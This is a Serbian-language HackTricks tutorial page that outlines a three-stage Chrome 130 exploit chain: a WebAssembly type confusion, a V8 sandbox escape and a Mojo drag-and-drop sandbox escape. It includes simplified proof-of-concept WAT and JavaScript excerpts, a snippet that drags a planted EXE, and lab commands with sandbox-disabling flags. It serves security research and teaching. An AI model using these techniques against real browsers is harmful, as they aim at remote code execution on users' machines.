Chrome Exploiting
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica pruža visok nivo, ali praktičan pregled modernog "full-chain" eksploatacionog toka rada protiv Google Chrome 130, zasnovanog na seriji istraživanja “101 Chrome Exploitation” (Deo-0 — Uvod). Cilj je pružiti pentesterima i razvojnim inženjerima eksploata minimum pozadine potrebne za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja.
1. Pregled arhitekture Chrome-a
Razumevanje napadačke površine zahteva poznavanje mesta gde se kod izvršava i koje se sandboksove primenjuju.
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
Layered defence-in-depth:
- V8 sandbox (Isolate): dozvole za memoriju su ograničene kako bi se sprečilo proizvoljno čitanje/pisanje iz JITed JS / Wasm.
- Renderer ↔ Browser split obezbeđen putem Mojo/IPC razmene poruka; renderer nema pristup nativnom FS/mreži.
- OS sandboxes dodatno sadrže svaki proces (Windows Integrity Levels /
seccomp-bpf
/ macOS sandbox profili).
Remote napadač stoga treba tri uzastopne primitive:
- Korupcija memorije unutar V8 da bi dobio proizvoljno RW unutar V8 heap-a.
- Druga greška koja omogućava napadaču da pobegne iz V8 sandbox-a u punu memoriju renderer-a.
- Konačni izlaz iz sandbox-a (često logika umesto korupcije memorije) za izvršavanje koda van Chrome OS sandbox-a.
2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
Greška u TurboFan-ovoj Turboshaft optimizaciji pogrešno klasifikuje WasmGC reference types kada se vrednost proizvodi i konzumira unutar jednog osnovnog blok petlje.
Efekat:
- Kompajler preskoči proveru tipa, tretirajući referencu (
externref/anyref
) kao int64. - Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača →
addrOf()
&fakeObj()
AAW / AAR primitive.
Minimal PoC (izvod):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Optimizacija okidača i prskanje objekata iz JS:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Outcome: arbitrary read/write within V8.
3. Stage 2 – Izbegavanje V8 Sandbox-a (issue 379140430)
Kada se Wasm funkcija kompajlira u tier-up, generiše se JS ↔ Wasm wrapper. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane Tuple2
objekta kada se Wasm funkcija ponovo optimizuje dok je još na steku.
Prepisivanje 2 × 64-bitnih polja Tuple2
objekta omogućava read/write na bilo kojoj adresi unutar Renderer procesa, efikasno zaobilazeći V8 sandbox.
Ključni koraci u eksploataciji:
- Dovesti funkciju u Tier-Up stanje naizmeničnim korišćenjem turbofan/baseline koda.
- Aktivirati tier-up dok se drži referenca na steku (
Function.prototype.apply
). - Koristiti Stage-1 AAR/AAW da pronađe i ošteti susedni
Tuple2
.
Identifikacija wrapper-a:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Nakon korupcije posedujemo potpuno funkcionalnu renderer R/W primitivu.
4. Faza 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
Mojo IPC interfejs blink.mojom.DragService.startDragging()
može se pozvati iz Renderera sa delimično poverljivim parametrima. Kreiranjem DragData
strukture koja pokazuje na arbitrarni put do fajla, renderer ubeđuje pregledač da izvrši nativno prevlačenje i ispuštanje van renderer sandbox-a.
Zloupotrebom ovoga možemo programatski “prevući” zlonamerni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja.
Primer ( pojednostavljeno):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Nema dodatne korupcije memorije – logička greška nam omogućava izvršavanje proizvoljnih datoteka sa privilegijama korisnika.
5. Potpuni Tok
- Korisnik posećuje zlonamernu veb stranicu.
- Faza 1: Wasm modul zloupotrebljava CVE-2025-0291 → V8 heap AAR/AAW.
- Faza 2: Neusklađenost omotača korumpira
Tuple2
→ izlazak iz V8 sandboxes. - Faza 3:
startDragging()
IPC → izlazak iz OS sandboxes & izvršavanje payload-a.
Rezultat: Daljinsko izvršavanje koda (RCE) na hostu (Chrome 130, Windows/Linux/macOS).
6. Laboratorija & Postavljanje Debagovanja
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Korisne zastavice prilikom pokretanja razvojne verzije Chrome-a:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
Zaključci
- WebAssembly JIT greške ostaju pouzdan ulaz – tipni sistem je još uvek mlad.
- Dobijanje druge greške u korupciji memorije unutar V8 (npr. neslaganje omotača) značajno pojednostavljuje V8-sandbox bekstvo.
- Slabosti na logičkom nivou u privilegovanim Mojo IPC interfejsima često su dovoljne za konačno bekstvo iz sandboks-a – obratite pažnju na ne-memorijske greške.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.